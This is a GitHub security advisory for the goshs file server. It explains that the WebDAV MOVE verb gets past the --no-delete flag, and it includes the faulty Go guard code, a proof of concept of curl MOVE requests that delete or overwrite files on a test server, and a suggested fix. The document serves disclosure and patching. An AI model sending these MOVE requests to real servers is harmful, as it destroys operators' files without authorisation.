GHSA-HQ33-8JGP-8QQ3
Vulnerability from github – Published: 2026-07-28 22:03 – Updated: 2026-07-28 22:03Summary
The WebDAV mode-flag guard added to fix GHSA-3whc-qvhv-xqjp still does not enforce --no-delete on the WebDAV MOVE verb. MOVE deletes the source file (rename removes it from its original path), and with Overwrite: T it additionally performs an explicit RemoveAll on the destination. Under -w --no-delete, DELETE is correctly blocked (403) but MOVE still destroys existing files, defeating the documented "Disable the delete option" boundary.
This is a residual of the parent fix: the guard classifies MOVE/COPY as write-only verbs (blocked only under --read-only) and never treats MOVE as a delete, so the --no-delete branch never covers it.
Affected
goshs v2.1.3 (current release, commit ba00ce3). The guard was introduced when GHSA-3whc-qvhv-xqjp was fixed and carries the gap forward.
Details
httpserver/server.go, wdGuard (lines 237-254):
wdGuard := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
switch r.Method {
case http.MethodPut, "MKCOL", "MOVE", "COPY":
if fs.ReadOnly {
http.Error(w, "read-only", http.StatusForbidden)
return
}
case http.MethodDelete:
if fs.ReadOnly || fs.UploadOnly || fs.NoDelete {
http.Error(w, "delete disabled", http.StatusForbidden)
return
}
case http.MethodGet, http.MethodHead:
if fs.UploadOnly {
http.Error(w, "upload-only", http.StatusForbidden)
return
}
}
...
MOVE lives in the first case and is gated only by fs.ReadOnly. It is never checked against fs.NoDelete. But MOVE in golang.org/x/net/webdav (file.go, moveFiles) calls fs.Rename(ctx, src, dst), which removes the source from its original location, and when the Overwrite: T header is present it first calls fs.RemoveAll(ctx, dst) on an existing destination. Both are deletions. So --no-delete, whose help text reads "Disable the delete option", does not disable deletion via MOVE.
The .goshs ACL layer (webdav_acl.go) checks auth and block-lists only; it does not enforce the mode flags, so it does not close this gap.
Proof of concept
Reproduced live against goshs v2.1.3 on 2026-07-02. Server started with --no-delete and WebDAV enabled:
$ printf 'TOP-SECRET-CONTENTS\n' > webroot/secret.txt
$ printf 'VICTIM-EXISTING-FILE\n' > webroot/victim.txt
$ goshs -d webroot -i 127.0.0.1 -p 18080 --webdav --webdav-port 18081 --no-delete
INFO Serving WEBDAV on 127.0.0.1:18081 from webroot
Control - DELETE is correctly blocked:
$ curl -s -i -X DELETE http://127.0.0.1:18081/secret.txt
HTTP/1.1 403 Forbidden
Content-Type: text/plain; charset=utf-8
Server: goshs/v2.1.3 (darwin; go1.26.1)
secret.txt still exists on disk.
Bypass 1 - MOVE removes the source file despite --no-delete:
$ curl -s -i -X MOVE -H 'Destination: http://127.0.0.1:18081/gone.txt' http://127.0.0.1:18081/secret.txt
HTTP/1.1 201 Created
Server: goshs/v2.1.3 (darwin; go1.26.1)
secret.txt is now deleted from disk (its content is at gone.txt).
Bypass 2 - MOVE with Overwrite:T destroys an existing victim file:
# before: victim.txt = VICTIM-EXISTING-FILE
$ curl -s -i -X MOVE -H 'Destination: http://127.0.0.1:18081/victim.txt' -H 'Overwrite: T' http://127.0.0.1:18081/gone.txt
HTTP/1.1 204 No Content
Server: goshs/v2.1.3 (darwin; go1.26.1)
# after: victim.txt = TOP-SECRET-CONTENTS (original VICTIM-EXISTING-FILE destroyed via RemoveAll)
Impact
An operator running goshs -w --no-delete -d /srv/artifacts to deliver files that must not be removed still allows any WebDAV client to delete or clobber existing files via MOVE. Confidential existing files can be renamed away or overwritten. The --no-delete control is silently ineffective on the WebDAV port for the MOVE verb.
Suggested fix
Move MOVE (and COPY on collision-with-overwrite, which also deletes) into the delete-gated branch, or add fs.NoDelete to the write-verb branch for MOVE:
case http.MethodPut, "MKCOL", "COPY":
if fs.ReadOnly {
http.Error(w, "read-only", http.StatusForbidden)
return
}
case "MOVE":
// MOVE renames (deletes source) and, with Overwrite:T, RemoveAll(dst).
if fs.ReadOnly || fs.UploadOnly || fs.NoDelete {
http.Error(w, "move disabled", http.StatusForbidden)
return
}
case http.MethodDelete:
if fs.ReadOnly || fs.UploadOnly || fs.NoDelete {
http.Error(w, "delete disabled", http.StatusForbidden)
return
}
Add an integration test covering MOVE under --no-delete (the current testWebdavMoveCopy only exercises MOVE/COPY in unrestricted mode).
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.1.3"
},
"package": {
"ecosystem": "Go",
"name": "goshs.de/goshs/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.1.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.1.3"
},
"package": {
"ecosystem": "Go",
"name": "github.com/patrickhener/goshs/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.1.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "goshs.de/goshs"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.1.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/patrickhener/goshs"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.1.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-64863"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-28T22:03:12Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "## Summary\n\nThe WebDAV mode-flag guard added to fix GHSA-3whc-qvhv-xqjp still does not enforce `--no-delete` on the WebDAV `MOVE` verb. `MOVE` deletes the source file (rename removes it from its original path), and with `Overwrite: T` it additionally performs an explicit `RemoveAll` on the destination. Under `-w --no-delete`, `DELETE` is correctly blocked (403) but `MOVE` still destroys existing files, defeating the documented \"Disable the delete option\" boundary.\n\nThis is a residual of the parent fix: the guard classifies `MOVE`/`COPY` as write-only verbs (blocked only under `--read-only`) and never treats `MOVE` as a delete, so the `--no-delete` branch never covers it.\n\n## Affected\n\ngoshs v2.1.3 (current release, commit `ba00ce3`). The guard was introduced when GHSA-3whc-qvhv-xqjp was fixed and carries the gap forward.\n\n## Details\n\n`httpserver/server.go`, `wdGuard` (lines 237-254):\n\n```go\nwdGuard := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n switch r.Method {\n case http.MethodPut, \"MKCOL\", \"MOVE\", \"COPY\":\n if fs.ReadOnly {\n http.Error(w, \"read-only\", http.StatusForbidden)\n return\n }\n case http.MethodDelete:\n if fs.ReadOnly || fs.UploadOnly || fs.NoDelete {\n http.Error(w, \"delete disabled\", http.StatusForbidden)\n return\n }\n case http.MethodGet, http.MethodHead:\n if fs.UploadOnly {\n http.Error(w, \"upload-only\", http.StatusForbidden)\n return\n }\n }\n ...\n```\n\n`MOVE` lives in the first case and is gated only by `fs.ReadOnly`. It is never checked against `fs.NoDelete`. But `MOVE` in `golang.org/x/net/webdav` (`file.go`, `moveFiles`) calls `fs.Rename(ctx, src, dst)`, which removes the source from its original location, and when the `Overwrite: T` header is present it first calls `fs.RemoveAll(ctx, dst)` on an existing destination. Both are deletions. So `--no-delete`, whose help text reads \"Disable the delete option\", does not disable deletion via `MOVE`.\n\nThe `.goshs` ACL layer (`webdav_acl.go`) checks auth and block-lists only; it does not enforce the mode flags, so it does not close this gap.\n\n## Proof of concept\n\nReproduced live against goshs v2.1.3 on 2026-07-02. Server started with `--no-delete` and WebDAV enabled:\n\n```\n$ printf \u0027TOP-SECRET-CONTENTS\\n\u0027 \u003e webroot/secret.txt\n$ printf \u0027VICTIM-EXISTING-FILE\\n\u0027 \u003e webroot/victim.txt\n$ goshs -d webroot -i 127.0.0.1 -p 18080 --webdav --webdav-port 18081 --no-delete\nINFO Serving WEBDAV on 127.0.0.1:18081 from webroot\n```\n\nControl - DELETE is correctly blocked:\n\n```\n$ curl -s -i -X DELETE http://127.0.0.1:18081/secret.txt\nHTTP/1.1 403 Forbidden\nContent-Type: text/plain; charset=utf-8\nServer: goshs/v2.1.3 (darwin; go1.26.1)\n```\n\nsecret.txt still exists on disk.\n\nBypass 1 - MOVE removes the source file despite --no-delete:\n\n```\n$ curl -s -i -X MOVE -H \u0027Destination: http://127.0.0.1:18081/gone.txt\u0027 http://127.0.0.1:18081/secret.txt\nHTTP/1.1 201 Created\nServer: goshs/v2.1.3 (darwin; go1.26.1)\n```\n\nsecret.txt is now deleted from disk (its content is at gone.txt).\n\nBypass 2 - MOVE with Overwrite:T destroys an existing victim file:\n\n```\n# before: victim.txt = VICTIM-EXISTING-FILE\n$ curl -s -i -X MOVE -H \u0027Destination: http://127.0.0.1:18081/victim.txt\u0027 -H \u0027Overwrite: T\u0027 http://127.0.0.1:18081/gone.txt\nHTTP/1.1 204 No Content\nServer: goshs/v2.1.3 (darwin; go1.26.1)\n# after: victim.txt = TOP-SECRET-CONTENTS (original VICTIM-EXISTING-FILE destroyed via RemoveAll)\n```\n\n## Impact\n\nAn operator running `goshs -w --no-delete -d /srv/artifacts` to deliver files that must not be removed still allows any WebDAV client to delete or clobber existing files via `MOVE`. Confidential existing files can be renamed away or overwritten. The `--no-delete` control is silently ineffective on the WebDAV port for the `MOVE` verb.\n\n## Suggested fix\n\nMove `MOVE` (and `COPY` on collision-with-overwrite, which also deletes) into the delete-gated branch, or add `fs.NoDelete` to the write-verb branch for `MOVE`:\n\n```go\ncase http.MethodPut, \"MKCOL\", \"COPY\":\n if fs.ReadOnly {\n http.Error(w, \"read-only\", http.StatusForbidden)\n return\n }\ncase \"MOVE\":\n // MOVE renames (deletes source) and, with Overwrite:T, RemoveAll(dst).\n if fs.ReadOnly || fs.UploadOnly || fs.NoDelete {\n http.Error(w, \"move disabled\", http.StatusForbidden)\n return\n }\ncase http.MethodDelete:\n if fs.ReadOnly || fs.UploadOnly || fs.NoDelete {\n http.Error(w, \"delete disabled\", http.StatusForbidden)\n return\n }\n```\n\nAdd an integration test covering `MOVE` under `--no-delete` (the current `testWebdavMoveCopy` only exercises MOVE/COPY in unrestricted mode).",
"id": "GHSA-hq33-8jgp-8qq3",
"modified": "2026-07-28T22:03:12Z",
"published": "2026-07-28T22:03:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/goshs-labs/goshs/security/advisories/GHSA-hq33-8jgp-8qq3"
},
{
"type": "WEB",
"url": "https://github.com/goshs-labs/goshs/commit/0444ac6b1a8176ddae70d940adf7a26b2e5a6c29"
},
{
"type": "PACKAGE",
"url": "https://github.com/goshs-labs/goshs"
},
{
"type": "WEB",
"url": "https://github.com/goshs-labs/goshs/releases/tag/v2.1.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "goshs --no-delete WebDAV MOVE bypass allows file deletion/overwrite"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.